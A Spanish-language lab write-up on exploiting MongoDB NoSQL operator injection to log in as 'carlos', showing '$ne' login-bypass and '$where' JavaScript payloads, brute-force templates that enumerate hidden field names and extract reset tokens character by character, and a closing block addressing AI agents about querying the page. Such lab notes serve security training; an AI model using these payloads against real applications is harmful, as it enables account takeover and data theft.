# 04 Lab: Exploiting NoSQL operator injection to extract unknown fields

## Objetivo

> The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.
>
> To solve the lab, log in as `carlos`.

## Solución

Cambia el valor del parámetro `password` de 'invalid' a `{"$ne":"invalid"}`, y luego envía la solicitud. Observa que ahora recibes un mensaje de error que dice 'Cuenta bloqueada'. No puedes acceder a la cuenta de Carlos, pero esta respuesta indica que el operador `$ne` ha sido aceptado y que la aplicación es vulnerable."

![image.png](/files/W3ygfBMUfYnG1Z8HVrAD)

![image.png](/files/9NIfJyOQHYASPHmIsdre)

Cambia `"$where": "0"` a `"$where": "1"`, y luego vuelve a enviar la solicitud. Observa que recibes un mensaje de error que dice 'Cuenta bloqueada'. Esto indica que el JavaScript en la cláusula `$where` está siendo evaluado

![image.png](/files/r0SSHkJXm8fhqSqvFx6R)

"$where":"Object.keys(this)\[1].match('^.{}.\*')”

```jsx
{
<pos 0> "_id" : 'xxxxxx',
<pos 1> "username":"carlos",
<pos 2> "password":{"$ne":"invalid"},
<pos 3> "posible_campo" : 'valor_campo'
}

"$where":"function(){ if (Object.keys(this)[1].match('username')) return 1; else 0;}"
"$where":"function(){ if (Object.keys(this)[1].length == 6 ) return 1; else 0;}"

{
"username":"carlos",
"password":{"$ne":"invalid"},
"$where": "1"

}
```

![image.png](/files/3szyUKfHDs9aDjgToq6E)

```jsx
"$where":"function(){ if (Object.keys(this)[3].length == 6 ) return 1; else 0;}"
Asi que tiene 5 caracteres
```

![image.png](/files/s6BQBhkuOyWUnrgh6RLa)

![image.png](/files/NhPwbNN0tp3y3SXuBHdZ)

```jsx
"$where":"function(){ if (Object.keys(this)[3].match(/^$a$/)) return 1; else 0;}"
Vamos a sacar con esto el primer caracter, y asi lo hacemos sucesivamente
Campo del usuario: email
```

```jsx
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
0
1
2
3
4
5
6
7
8
9

```

![image.png](/files/hDSqma02PSbYC2w24Cc2)

![image.png](/files/HMTlVSPGTRvCqYUvu8Wf)

![image.png](/files/iLC73rWUkmDw3WzO7Dl7)

![image.png](/files/XyYRwlAoXdpnJ1139u5q)

![image.png](/files/Wo43erGptCGqN1E03JNn)

***

***

![image.png](/files/Af3ZNT2N3aJoX09huWMW)

```jsx
// hidden field name is "mail"
"$where":"function(){ if (this.email.length == 1 ) return 1; else 0;}"
// Son 25 caracteres
"$where":"function(){ if (this.email.match(/^$a$/)) return 1; else 0;}"
"$where":"function(){ if (this.email.match('^.{$NUMBER$}$CARACTER$.*')) return 1; else 0;}"
"$where":"function(){ if (this.email.match('^.{§1§}§A§.*')) return 1; else 0;}"

{§§}§§
('^.{§§}§§.*')

carlos@carlos-montoya.net

unlockToken
```

![image.png](/files/bnCqyaMW5ffiBZqlTogO)

![image.png](/files/AQ5gGlQkYbuw9u2O9g4k)

![image.png](/files/cUvoGj6nUIlcAoDPD7lj)

![image.png](/files/4hD85EuuYbxxBtSrbbkE)

Otro campo aparte del email

```jsx
{"username":"carlos","password":{"$ne":"invalid"},
"$where":"function(){ if (Object.keys(this)[4].length == §6§ ) return 1; else 0;}"
}
Son 11 caracteres

"$where":"function(){ if (Object.keys(this)[4].match(/^$a$/)) return 1; else 0;}"
unlockToken
9457f5cff38fff0b

"$where":"function(){ if (Object.keys(this)[4].match(/^f§a§/)) return 1; else 0;}"
"$where":"function(){ if (Object.keys(this)[4].match('^.{§1§}§1§.*')) return 1; else 0;}"
forgotPwd
"$where":"function(){ if (this.forgotPwd.match(/^$a$/)) return 1; else 0;}"
"$where":"function(){ if (this.forgotPwd.match('^.{§1§}§A§.*')) return 1; else 0;}"
db10648a240ccfa1
```

![image.png](/files/SrJBLAIPtf97vOriVUxm)

![image.png](/files/3HzxqqOjFt5yir1Dt6Ch)

![Untitled](/files/lMY5KcF3tHoCpzrlDyea)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ps.leunam.xyz/28-nosql-injection/04-lab-exploiting-nosql-operator-injection-to-extr-17efab5460ec80279c68f3895675d869.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.